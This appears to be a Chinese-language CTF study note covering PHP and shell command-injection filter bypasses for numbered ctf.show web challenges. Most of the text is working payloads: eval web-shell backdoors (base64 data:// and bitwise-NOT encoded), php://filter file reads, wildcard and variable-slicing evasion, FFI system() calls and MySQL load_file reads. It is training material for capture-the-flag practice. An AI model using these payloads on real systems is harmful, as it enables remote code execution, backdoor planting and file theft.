PHP代码命令执行:
system('cmd');
print_r(shell_exec(cmd));
`cmd`;
passthru('cmd');
读文件
print_r(scandir(dirname(__FILE__)));
foreach(scandir('.') as $p){print($p.' ');}
file_get_contents('fn'); highlight_file('fn'); show_source('fn'); readfile('fn');
rename('oldname','newname');
文件包含
include/require + 伪协议 读取文件,写入后门
中断eval后面的程序:
exit(); die();
绕过:
通配符绕过、换行符绕过、短标签绕过、?>绕过、
使用$_GET $_POST 启用另一个参数,从而逃逸过滤
include + 伪协议 读取文件,写入后门
不需要'()'的PHP语言结构,可以使用换行符%0a绕过'()' : include require echo print isset unset
提权越权:
eval(web72 code);
Shell命令执行
输出命令:more|less|head|sort|tail|sed|cut|awk|strings|od|curl|tac|cat|xxd|hexdump(大小端)|nl
tee命令:将标准输入输出到文件,可以代替重定向,解决命令执行不回显。 cat flag.php | tee 1.txt
执行可执行文件:直接输入相对路径或者绝对路径。
绕过:
堆叠绕过。
顺序执行:;
无条件执行两条命令:&
执行第一个命令,返回成功,执行第二个命令:&&
执行第一个命令,返回失败,执行第二个命令:||
通配符绕过:? * {..}
重命名绕过:mv
空格绕过:
用制表符代替%09
nl命令+重定向 nl<fla''g.php //给文件添加行号,查看源代码
${IFS} 是系统默认的空格 备选:$IFS
shell特性:(Linux命令行特性)
字符串拼接:shell本身就是字符串 替换 ==> 解析 ,不用拼接。与其说是拼接,不如说是加上一个空字符串''或者""
所以flag.php == fla''g.php == fla""g.php
所以tac flag.php == ta''c flag.php == ta""c flag.php
Linux命令行还有一个特性,会先执行 `cmd` ,并把结果作为字符串,拼接成最终的命令。
绕过所有字母:
?c=.%20/???/????????[@-[]
上传sh脚本,猜解PHP默认保存上传文件的临时文件名,运行脚本文件
数字绕过:
Linux科学计算
环境变量拼接:
截取环境变量中的字符,拼接出shell命令。 //过滤是php过滤的,不是shell本身过滤的。
web118
异或运算绕过:
取反运算绕过:
<?php
echo urlencode(~'phpinfo'); //得到字符串'phpinfo'取反后的字符串的 URL 编码
%8F%97%8F%96%91%99%90 //漏洞利用:eval($_POST[1])
//payload = (~%8F%97%8F%96%91%99%90)(); 即eval((~%8F%97%8F%96%91%99%90)();)
?>
eval($_GET[code]);
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9D%86%8F%9E%8C%8C%A2%D6%D6);
==> eval(assert(eval($_POST[bypass]))); //蚁剑
web29:
用file_put_contents('filename','content');写入一个后门即可。
或者用?c=eval($_POST[1]); + hackbar post数据
web30:
用print_r(shell_exec(cmd))代替system(cmd)绕过;
通配符绕过 tac fla?.ph? 但是 {o..q} 失效了,没有解析
短标签绕过php过滤 <?=code?> <?php echo 'print this string' ?>
web31:
用print_r(scandir(dirname(__FILE__)));代替system('ls');
用passthru('cmd');代替system('cmd');
web32:
用?>结束符,代替;结束符。
?c=eval($_POST[1])?> <==> ?c=eval($_POST[1]);
换行符绕过,代替()
eval("include\n'flag.php';");
?c=include%0a$_GET[1]?%3E&1=php://filter/convert.base64-encode/resource=flag.php
web33:
同上。利用eval构造requier文件包含漏洞
?c=require%0a$_GET[1]?%3E&1=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pO3BocGluZm8oKTsgPz4= //POST 1=system('ls');
web34: 同上。
web35: 同上。
web36: 同上。
web37: 同上。
web38: 同上
?c=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pO3BocGluZm8oKTsgPz4= //POST 1=system('ls');
web39:
同上 + 短标签截断后缀名
?c=data://text/plain,<?=system('ls')?>
?c=data://text/plain,<?=system('cp fla?.ph? 1.txt')?>
/1.txt
web40:
惊!过滤的居然是中文()没过滤英文()!
print_r(scandir(dirname(__FILE__)));
show_source(next(array_reverse(scandir(dirname(__FILE__)))));
next() 函数将内部指针指向数组中的下一个元素,并输出。 //next的范围很小,即使配合array_reverse也访问不到中间的元素。
//next不能嵌套,因为next的返回值不是数组了,而是数组中的元素。
相关的方法:
prev() - 将内部指针指向数组中的上一个元素,并输出。
current() - 返回数组中的当前元素的值。
end() - 将内部指针指向数组中的最后一个元素,并输出。
reset() - 将内部指针指向数组中的第一个元素,并输出。
each() - 返回当前元素的键名和键值,并将内部指针向前移动。
非预期解:
输出所有定义的变量
print_r(get_defined_vars());
然后在操作数组中$GET[]的值。
web41:
十六进制或运算构造任意字符,绕过过滤
C:\Users\LENOVO\Desktop\CTF### web\RCE
php用于生成字符的十六进制或运算,python用于攻击
web42: shell堆叠绕过
web43: shell堆叠绕过
web44:
web55:
?c=.%20/???/????????[@-[] 绕过字母过滤
构造表单,sh文件上传,.%20执行sh脚本。由于不知道脚本名字,所以需要通配+猜解。
PHP临时接受的上传文件名,通常是 ./tmp/phpabcdeF 大写字母在[@-[]之间
抓包
POST /?c=.%20/???/????????[@-[] HTTP/1.1
Host: fe7ba246-3e90-4bb3-a124-030946ce60fa.challenge.ctf.show
-----------------------------41584852824010327701993524609
Content-Disposition: form-data; name="a"; filename="url.txt"
Content-Type: text/plain
tac flag.php
-----------------------------41584852824010327701993524609--
web56: Linux数学计算代替数字
$(()) == 0
~$(()) == -0
$((~$(()))) == -1
$((-1+-1+...+-1)) = -n
$((~$((-1+-1+...+-1)))) = n-1
payload: $((~$(($((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))))))
web60:
我们的目标是flag,很多时候只要能读文件就够了,没必要完全能命令执行。
web69:
foreach(scandir('.') as $p){print($p.' ');}
include(flag.txt);
web71:
exit()退出程序绕过。
web72:
不能读取网站根目录以外的、其他的服务器文件。
突破权限:
遍历目录:
$a="glob:///*.txt"; //输出根目录下的所有.txt文件
if($b=opendir($a)){
while(($file=readdir($b))!==false){
echo "filename:".$file."\n";
}
closedir($b);
}
$a="glob:///*";if($b=opendir($a)){while(($file=readdir($b))!==false){echo $file."<br>";}closedir($b);}
然后读取文件。include一般都行。要是没有能读取文件的手段。那就不得不使用下面的命令执行来读取文件了。
FFI拓展特性:
php高版本,php7以上吧。执行C语言=>命令执行:
$ffi = FFI::cdef("int system(char *command);", "libc.so.6");$a='cmd';$ffi->system($a); //没有回显,所以一般要重定向或者cp mv
payload:
$ffi=FFI::cdef("int system(char *command);", "libc.so.6");$a='/readflag > /var/www/html/doxide.txt';$ffi->system($a);exit();
命令执行:
利用PHP垃圾回收。
使用burp把代码URL编码,执行命令的部分是最后的pwn('cmd');
代码在sublime里面,CTFweb里也有
pwn('ls /'); pwn('tac /flag0.txt');
MySQL文件读取:
前提:知道dbname和root:root
try {
$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');
foreach($dbh->query('select load_file("/flag36.txt")') as $row) {
echo($row[0])."|";
}
$dbh = null;
}catch (PDOException $e) {
echo $e->getMessage();
die();
}
try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row) {echo($row[0])."|";}$dbh = null;}catch (PDOException $e) {echo $e->getMessage();die();}
web118:
对输入有过滤,过滤了所有linux命令,包括ta''c...
用环境变量构造出shell命令。截取出环境变量中的字符,拼接出shell命令。
常见环境变量:
$PATH
$PWD 工作目录的绝对路径
$SHLVL 通常是1 //或者2
$SHELL /bin/bash
字符串分割,和python差不多。 $PATH=abcdefg ${PATH:n:m} => 从n开始m长的子字符串。
${PATH:(-3):1} => 倒数第3个字符 ${PATH:(-5)} => 倒数第5个字符之后的所有字符
字符串拼接:没有拼接符,放在一起就行了。 ${a}${b}${c}
${#string} $string的长度
${string:position} 在$string中, 从位置$position开始提取子串
${string:position:length} 在$string中, 从位置$position开始提取长度为$length的子串
${string#substring} 从变量$string的开头, 删除最短匹配$substring的子串
${string##substring} 从变量$string的开头, 删除最长匹配$substring的子串
${string%substring} 从变量$string的结尾, 删除最短匹配$substring的子串
${string%%substring} 从变量$string的结尾, 删除最长匹配$substring的子串
${string/substring/replacement} 使用$replacement, 来代替第一个匹配的$substring
${string//substring/replacement} 使用$replacement, 代替所有匹配的$substring
${string/#substring/replacement} 如果$string的前缀匹配$substring, 那么就用$replacement来代替匹配到的$substring
${string/%substring/replacement} 如果$string的后缀匹配$substring, 那么就用$replacement来代替匹配到的$substring
https://www.cnblogs.com/gaochsh/p/6901809.html